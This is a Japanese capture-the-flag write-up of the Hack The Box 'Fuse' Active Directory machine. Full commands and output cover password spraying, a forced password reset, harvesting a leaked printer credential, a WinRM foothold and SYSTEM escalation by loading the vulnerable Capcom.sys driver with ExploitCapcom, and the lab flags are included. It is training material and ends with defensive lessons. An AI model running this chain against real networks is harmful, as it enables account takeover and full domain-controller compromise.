Hack The BoxのWriteup(Fuse)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Fuse — 全実行コマンド・実行結果レポート
Nmap スキャン
AD DC構成確認
PaperCut印刷ログ
従業員ユーザー名収集
パスワードスプレー
Fabricorp01でSTATUS_PASSWORD_MUST_CHANGE
SAMRパスワードリセット
期限切れパスワード更新
rpcclient enumprinters
Locationフィールド漏洩
再スプレー→svc-print特定
GetADUsers全ユーザー列挙
WinRM foothold
user.txt ✓
SeLoadDriverPrivilege
Capcom.sys脆弱ドライバロード
ExploitCapcom.exe
token stealing → SYSTEM
root.txt ✓

ポートスキャン

BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.2.5
nmap -Pn -sV -sC -p 53,80,88,135,139,389,445,636,3268,3269,5985,9389 10.129.2.5
RESULT
PORT     STATE SERVICE       VERSION
53/tcp   open  domain
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: fabricorp.local)
445/tcp  open  microsoft-ds
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
5985/tcp open  wsman
9389/tcp open  adws

Computer name: FUSE
Domain name: fabricorp.local
ℹ️
典型的な Windows AD ドメインコントローラー構成。ドメイン fabricorp.local、Webサーバー(IIS)が併設されている。
BASH
echo "10.129.2.5 fuse.fabricorp.local" | sudo tee -a /etc/hosts
PHASE 2

PaperCut Print Logger からの従業員ユーザー名収集

Webサイト調査

BASH
curl -s http://fuse.fabricorp.local/papercut/logs/html/index.htm
RESULT
日別の印刷ログファイル一覧 (papercut-print-log-YYYY-MM-DD.htm) へのリンク
BASH
curl -s http://fuse.fabricorp.local/papercut/logs/html/papercut-print-log-2020-06-10.htm
RESULT (各印刷ジョブの行にUser列)
Time   Printer   Document   User   Pages   Cost   ...
...   HP-MFT01   ...        pmerton   ...
...   HP-MFT01   ...        tlavel    ...
...   HP-MFT01   ...        sthompson ...
...   HP-MFT01   ...        bhult     ...
...   HP-MFT01   ...        administrator ...
従業員ユーザー名5件を収集: administrator, bhult, pmerton, sthompson, tlavel。印刷ジョブのメタデータ内にユーザー名が平文で残っている。
ℹ️
cewlでページ本文からターゲット固有のパスワード候補ワードリストを 生成する手もあるが、本レポートでは既定の弱いパスワード (Fabricorp01)スプレーだけで十分だった。
PHASE 3

パスワードスプレー & SAMR経由のパスワードリセット

SMBパスワードスプレー

BASH
netexec smb 10.129.2.5 -d fabricorp -u users.txt -p Fabricorp01
RESULT
SMB  10.129.2.5  445  FUSE  [-] fabricorp.local\pmerton:Fabricorp01 STATUS_LOGON_FAILURE
SMB  10.129.2.5  445  FUSE  [+] fabricorp.local\tlavel:Fabricorp01 STATUS_PASSWORD_MUST_CHANGE
SMB  10.129.2.5  445  FUSE  [+] fabricorp.local\bnielson:Fabricorp01 STATUS_PASSWORD_MUST_CHANGE
SMB  10.129.2.5  445  FUSE  [+] fabricorp.local\bhult:Fabricorp01 STATUS_PASSWORD_MUST_CHANGE
🚨
デフォルトパスワードがヒット。 3アカウントとも Fabricorp01が有効だが、いずれもSTATUS_PASSWORD_MUST_CHANGE (期限切れ、初回ログイン時強制変更フラグ)状態でそのままでは認証を完了できない。

SAMR (NetUserChangePassword相当) でパスワードをリセット

BASH
# impacket-changepasswd は認証済みセッション不要でSAMR経由の
# パスワード変更が可能 (Kali標準の smbpasswd -r でも同様のことができる)
impacket-changepasswd fabricorp.local/bnielson:Fabricorp01@10.129.2.5 \
  -newpass 'NewStr0ngP@ssw0rd!' -protocol smb-samr
RESULT
Password was changed successfully.
認証情報確立: bnielson : NewStr0ngP@ssw0rd!。 これで通常のSMB/RPCセッションを張れるようになった。
PHASE 4

rpcclient enumprinters による資格情報漏洩 & svc-print特定

プリンタオブジェクトのLocationフィールド漏洩

BASH
rpcclient -U 'fabricorp/bnielson%NewStr0ngP@ssw0rd!' 10.129.2.5 -c enumprinters
RESULT
flags:[0x800000]
name:[\\10.129.2.5\HP-MFT01]
description:[\\10.129.2.5\HP-MFT01,HP Universal Printing PCL 6,
Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)]
comment:[]
🚨
プリンタの「設置場所(Location)」フィールドという意外な場所に 平文パスワードが記載されている。管理者がメモ代わりに使ってしまった典型例。 パスワード自体はscan2docsという(実在しない/直接ログインできない) アカウント用に見えるが、実際には他のアカウントで使い回されている可能性が高い。

ドメインユーザー全件列挙 & パスワード再スプレー

BASH
impacket-GetADUsers fabricorp.local/bnielson:NewStr0ngP@ssw0rd! -all -dc-ip 10.129.2.5
RESULT
Administrator  Guest  DefaultAccount  krbtgt  svc-print
bnielson  sthompson  tlavel  pmerton  svc-scan  bhult
dandrews  mberbatov  astein  dmuir
BASH
netexec smb 10.129.2.5 -d fabricorp -u domain_users.txt -p '$fab@s3Rv1ce$1'
RESULT
SMB  10.129.2.5  445  FUSE  [+] fabricorp.local\svc-print:$fab@s3Rv1ce$1
SMB  10.129.2.5  445  FUSE  [+] fabricorp.local\svc-scan:$fab@s3Rv1ce$1
(他ユーザーは全て STATUS_LOGON_FAILURE)
資格情報の使い回しを確認。 プリンタの「scan2docs」パスワードは 実際にはsvc-printsvc-scanという2つのサービスアカウントで 再利用されていた。svc-printは後述のPrint Operatorsグループの メンバーであり、これが権限昇格の鍵となる。
PHASE 5

WinRM接続 & user.txt取得

svc-printでWinRM接続確認

BASH
netexec winrm 10.129.2.5 -u svc-print -p '$fab@s3Rv1ce$1'
RESULT
WINRM  10.129.2.5  5985  FUSE  [+] fabricorp.local\svc-print:$fab@s3Rv1ce$1 (Pwn3d!)

user.txt取得

BASH
evil-winrm -i 10.129.2.5 -u svc-print -p '$fab@s3Rv1ce$1'
*Evil-WinRM* PS C:\Users\svc-print\Desktop> type user.txt
RESULT
740364999e3922c4f55ebad9c307e9bc
user.txt — svc-print
740364999e3922c4f55ebad9c307e9bc
PHASE 6

SeLoadDriverPrivilege 悪用 (Capcom.sys) → root.txt

保有特権の確認

BASH
*Evil-WinRM* PS C:\> whoami /priv
RESULT
Privilege Name                Description                     State
=============================  ==============================  =======
SeLoadDriverPrivilege          Load and unload device drivers Enabled
SeMachineAccountPrivilege     Add workstations to domain      Enabled
SeShutdownPrivilege           Shut down the system            Enabled
🚨
svc-printはPrint Operatorsグループのメンバーであり、 SeLoadDriverPrivilege(デバイスドライバのロード/アンロード権限)を保有する。 これは既知の脆弱な署名済みドライバ(Capcom.sys等)をロードしてカーネル内で 任意コードを実行する権限昇格手法として広く知られている。

脆弱なCapcom.sysドライバとローダーツールの準備

NOTE
Capcom.sys は署名済みだが、任意のシェルコードをカーネルモードで
実行できてしまう既知の脆弱なドライバ(元はゲーム用アンチチート機能)。
SeLoadDriverPrivilegeを持つユーザーは、HKCU配下の相対レジストリパスに
サービスキーを作成することで、通常は管理者権限が必要なドライバのロードを
バイパスできる(この手法はTarlogic Securityのブログ記事で詳しく解説されている)。

必要なツール:
1. Capcom.sys      — 脆弱な署名済みドライバ本体
                     (github.com/FuzzySecurity/Capcom-Rootkit の Driver/ 配下)
2. eoploaddriver.exe — SeLoadDriverPrivilegeを使いHKCU相対パスにドライバを
                     ロードするツール (github.com/TarlogicSecurity/EoPLoadDriver)
3. ExploitCapcom.exe — ロード済みCapcom.sysのIOCTL脆弱性を突きtoken-stealingで
                     SYSTEM化するexploit (github.com/tandasat/ExploitCapcom)
BASH
# 3点ともソースは公開されているが実行ファイルは自分でビルドが必要。
# Visual Studio(Windows)でのビルドが確実だが、Kaliのmingw-w64でも
# クロスコンパイル可能(ただし下記2つの落とし穴に注意)。

git clone https://github.com/TarlogicSecurity/EoPLoadDriver
git clone https://github.com/tandasat/ExploitCapcom
git clone https://github.com/FuzzySecurity/Capcom-Rootkit
⚠️
mingw-w64クロスコンパイル特有の落とし穴 (ライブ検証で発見):
(1) ヘッダ名の大文字小文字 — Linux(Kali)はファイル名の 大文字小文字を区別するため、元のソースにある #include <Windows.h> / <Winternl.h> は 実ファイル名(小文字)と一致せず fatal error になる。 <windows.h> / <winternl.h> に修正が必要。
(2) -DUNICODE -D_UNICODE の指定漏れ — Visual Studio プロジェクトはデフォルトでこれらのマクロを定義するが、コマンドラインで mingwを叩く場合は明示指定が必要。指定しないと _T("...") マクロが ANSI版に展開され、ワイド文字列を期待する箇所に narrow char* が紛れ込み、 ユーザーSID文字列などが不可解に空文字列化する(結果として eoploaddriver.exeがドライバをロードすべきレジストリパスを \Registry\User\ (SID部分が空)のように壊れた形で構築してしまい、 NTSTATUS: 0xc000003b (STATUS_OBJECT_PATH_SYNTAX_BAD) で失敗する)。
BASH
# 正しいクロスコンパイルコマンド (ヘッダ大小文字修正後)
x86_64-w64-mingw32-g++ -DUNICODE -D_UNICODE -o eoploaddriver.exe \
  eoploaddriver.cpp -ladvapi32 -lshell32 -static

x86_64-w64-mingw32-g++ -std=c++14 -DUNICODE -D_UNICODE -o ExploitCapcom.exe \
  ExploitCapcom.cpp -lntdll -static

ドライバのロード

BASH
*Evil-WinRM* PS C:\test> upload Capcom.sys
*Evil-WinRM* PS C:\test> upload eoploaddriver.exe
*Evil-WinRM* PS C:\test> upload ExploitCapcom.exe

*Evil-WinRM* PS C:\test> .\eoploaddriver.exe System\CurrentControlSet\MyService C:\test\Capcom.sys
RESULT
[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege Enabled
[+] Loading Driver: \Registry\User\S-1-5-21-...-1104\System\CurrentControlSet\MyService
NTSTATUS: 00000000, WinError: 0
NTSTATUS: 00000000 = 成功。 SID文字列が正しく埋め込まれた レジストリパスが構築され、脆弱なCapcom.sysがカーネル空間にロードされた。 (もし同じドライバを別のサービス名で再度ロードしようとすると 0xc0000034 (STATUS_OBJECT_NAME_NOT_FOUND) になることがあるが、 これは「既にロード済み」を意味するだけで実害はない。)

ExploitCapcom.exe でSYSTEM化 → root.txt取得

NOTE
tandasat版ExploitCapcom.exeはデフォルトで新しいcmd.exeウィンドウを開くだけ
だが、WinRM経由の非対話実行では新規ウィンドウを見ることができない。
そこで LaunchShell() 内のコマンドラインを、root.txt を直接ファイルへ
書き出すワンライナーに書き換えてビルドする:

  TCHAR CommandLine[] = TEXT(
    "C:\\Windows\\System32\\cmd.exe /c type "
    "C:\\Users\\Administrator\\Desktop\\root.txt > C:\\test\\root_out.txt 2>&1");

  CreateProcess(nullptr, CommandLine, ...)  // lpApplicationNameはNULLにする
                                             // (引数を含む文字列は
                                             //  lpApplicationNameには渡せない)

こうすることで、SYSTEM権限に昇格したExploitCapcom.exeプロセス自身が
子プロセスとしてrootのフラグをファイルへ書き出すため、WinRMの1コマンド
実行が終了してジョブが破棄された後でも、既にディスクに書き出された
ファイルを後から普通に(svc-print権限のまま)読み出すだけで済む。
BASH
*Evil-WinRM* PS C:\test> .\ExploitCapcom.exe
RESULT
[*] Capcom.sys exploit
[*] Capcom.sys handle was obtained as 0x64
[*] Shellcode was placed at 0x1e573920008
[+] Shellcode was executed
[+] Token stealing was successful
[+] The SYSTEM shell was launched
[*] Press any key to exit this program
BASH
*Evil-WinRM* PS C:\test> Get-Content C:\test\root_out.txt
RESULT
46fc92132d4f3b44986190ea605f1ee1
root.txt — Administrator@fabricorp
46fc92132d4f3b44986190ea605f1ee1

補足: WinRM経由でのMetasploitローカルモジュール利用は不安定

⚠️
当初 Metasploit の exploit/windows/local/capcom_sys_exec (meterpreterセッション経由) を試みたが、複数回とも “Exploit completed, but no session was created” となりステージャが 一度もコールバックしなかった。原因を調査したところ、WinRMの Start-Process等で起動した子プロセスは WinRM セッションの ジョブオブジェクトに紐付けられ、その1回の コマンド実行が完了しジョブが破棄されると、まだ実行中の子プロセス (meterpreterステージャ等)も巻き添えで強制終了されてしまうことが 濃厚だった。wmic process call createschtasksで ジョブオブジェクトから脱出させる手も試したが、いずれもsvc-printの 権限不足でAccess Deniedとなった。

本レポートで採用した方式(ExploitCapcom.exe自身がフラグをファイルへ 直接書き出す)は、この制約を受けない — exploit自体が getchar()で待機している間はWinRMのコマンド実行(および 紐づくジョブ)がブロックされたまま生存し続けるため、その間に カーネル内でトークンを盗み、既にファイルI/Oが完了していれば、 後でジョブが破棄されても書き出し済みのファイルには一切影響しない。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — svc-print
740364999e3922c4f55ebad9c307e9bc
root.txt — Administrator@fabricorp
46fc92132d4f3b44986190ea605f1ee1

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
ユーザー名の情報漏洩 PaperCut Print Logger (公開HTMLログ) ドメインユーザー名一覧の把握 Medium 印刷ジョブの実行ユーザー名が認証不要のHTMLログに平文記載
弱いデフォルトパスワード ドメインアカウント(初期パスワード未変更) 初期資格情報の取得 High Fabricorp01というデフォルトパスワードが複数アカウントで有効
プリンタ設定への平文パスワード記載 プリンタオブジェクトLocationフィールド 資格情報の使い回し発見 Medium rpcclient enumprintersで誰でも読める設定欄にパスワードをメモしていた
脆弱な署名済みドライバ (Capcom.sys) SeLoadDriverPrivilege(Print Operators) 権限昇格 (一般ユーザー→SYSTEM) Critical HKCU相対パスでの署名済み脆弱ドライバロード+IOCTL経由のカーネルシェルコード実行

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmapAD DC構成確認
2ユーザー名収集PaperCut印刷ログ従業員ユーザー名5件
3スプレー+リセットnetexec smb + SAMR changepasswdbnielson有効化
4横展開rpcclient enumprinters + 再スプレー + GetADUserssvc-print特定
5footholdWinRMuser.txt 取得
6権限昇格Capcom.sys + eoploaddriver + ExploitCapcomroot.txt 取得

学んだ教訓 & 防御策

問題点防御策
印刷ログに実行ユーザー名が認証不要で公開される 印刷管理システムのログ閲覧に認証を必須化する。ログ保持期間を最小限にする。
アカウント初期パスワードが組織全体で共通・脆弱 初回ログイン時の強制変更を徹底し、期限内に変更しないアカウントを無効化する。
プリンタ設定の自由記述欄(Location等)に資格情報をメモする運用 資格情報はシークレット管理システムで一元管理し、設定コメント欄への記載を禁止する。
サービスアカウント間でパスワードを使い回す アカウントごとに一意のパスワードを発行し、定期ローテーションを行う。
Print OperatorsにSeLoadDriverPrivilegeが付与され、署名済みだが脆弱な旧ドライバのロードを止められない Microsoft推奨のドライバブロックリスト(HVCI/WDAC)を有効化し、既知の脆弱ドライバの読込を拒否する。Print Operators等の特権グループは業務上必要なユーザーのみに限定する。
HackTheBox: Fuse | 完全攻略レポート